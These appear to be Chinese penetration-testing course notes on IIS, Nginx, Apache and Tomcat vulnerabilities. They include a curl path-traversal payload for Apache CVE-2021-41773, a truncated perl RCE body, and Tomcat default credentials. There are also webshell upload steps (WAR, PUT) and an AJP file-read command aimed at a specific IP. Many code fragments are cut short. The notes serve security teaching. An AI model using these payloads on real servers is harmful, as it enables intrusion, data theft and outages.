079-服务攻防-中间件安全&CVE及利用脚本等
079-服务攻防-中间件安全&CVE及利用脚本等
一、演示案例-中间件-IIS-短文件&文件解析&蓝屏&写权限
1、HTTP.SYS(CVE-2015-1635)主要用作蓝屏破坏,跟权限不挂钩
1、漏洞描述
远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。
2、影响版本
Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2
3、漏洞利用条件
安装了IIS6.0以上的Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2版本
4、漏洞复现(蓝屏)
1 | msfconsole |


参考地址:HTTP.sys远程代码执行漏洞复现-CSDN博客(curl这个命令powershell自带)
2、IIS短文件(iis全版本都可能有这个问题)
1、此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
2、漏洞成因:
为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3短文件名。在Windows下查看对应的短文件名,可以使用命令dir /x
3、应用场景:
后台路径获取,数据库文件获取,其他敏感文件获取等
4、利用工具(可以指定目录扫描,不仅仅只是网站根目录):
https://github.com/lijiejie/IIS_shortname_Scanner(py版本)只能探针前6位

3、IIS文件解析
应用场景:配合文件上传获取Webshell
IIS 6 解析漏洞
1、该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析
2、该版本默认会将*.asp/目录下的所有文件当成Asp解析。
如:logo.asp;.jpg xx.asp/logo.jpg
IIS 7.x 解析漏洞
在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件
4、IIS写权限
IIS<=6.0 目录权限开启写入,开启WebDAV,设置为允许




getshell参考:题目2-IIS写权限漏洞分析溯源-腾讯云开发者社区-腾讯云
二、演示案例-中间件-Nginx-文件解析&目录穿越漏洞&CRLF
1、CVE-2013-4547 文件上传
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
Vulhub - Docker-Compose file for vulnerability environment
条件:
1.符合的漏洞版本
2.文件上传点





2、解析漏洞(配置不当)


3、目录穿越(配置不当)
Payload: http://your-ip:8081/files../ ,成功穿越到根目录:

4、CRLF注入(配置不当)

1 | %0a`是换行 `%0d`是回车 |


工具检测
CRLFuzz:https://github.com/dwisiswant0/crlfuzz/releases
支持单个目标和批量目标



没有漏洞payload测试


有漏洞payload测试


5、cve-2021-23017 无 EXP
6、cve-2017-7529 意义不大
三、演示案例-中间件-Apache-RCE&目录遍历&文件解析
Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本
1.cve_2021_42013 RCE
1 | 请求地址: |




1 | echo;perl -e 'use |

2、cve_2021_41773 目录穿越
Apache HTTP Server 2.4.49、2.4.50 版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到 web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器

1 | curl -v --path-as-is IP地址:端口号/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/ |



可以通过bp抓取数据包后将数据包内的地址修改成下面的样式。
修改url末尾的文件路径达到文件任意读取的目的


3、cve-2017-15715文件解析
Apache HTTPD是一款 HTTP 服务器。其 2.4.0~2.4.29 版本存在一个解析漏洞,在解析 PHP 时,1.php\x0A将被按照 PHP后缀进行解析,导致绕过一些服务器的安全策略。
4、cve-2017-9798
价值不高。
5、cve-2018-11759
价值不高。
6、cve-2021-37580
插件问题。
四、演示案例-中间件-中间件-Tomcat-弱口令&文件上传&文件包含
1、后台弱口令猜解
1、弱口令猜解
https://github.com/BeichenDream/Godzilla
配置不当导致后台弱口令(admin/admin、tomcat/tomcat),可通过上传jsp压缩包改名的war拿shell
-先爆破弱口令
-后门压缩 zip 改 war
-上传 war 访问链接I
Tomcat存在后台管理,账号密码设置在conf/tomcat-users.xml












2、cve-2017-12615
文件上传
当存在漏洞的Tomcat运行在Windows/Linux主机上,且启用了HTTP PUT请求方法(例如,将readonly初始化参数由默认值设置为false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包合任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
影响版本:Apache Tomcat 7.0.0-7.0.79
1 | PUT /x.jsp/ |




3、cve-2020-1938
文件读取
Apache TomcatAJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
影响版本:
1 | Tomcat 6.* |
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
1 | D:Python2.7\python.exe \CNVD-2020-10487-Tomcat-Ajp-lfi.py 47.98.193.176 -p 35839 -f WEB-INF/web.xml |


4、cve-2020-11996
- 拒绝服务
- 危害过大,权限无关,意义不大。
5、cve-2020-9484
- 反序列化
- 条件苛刻,意义不大。






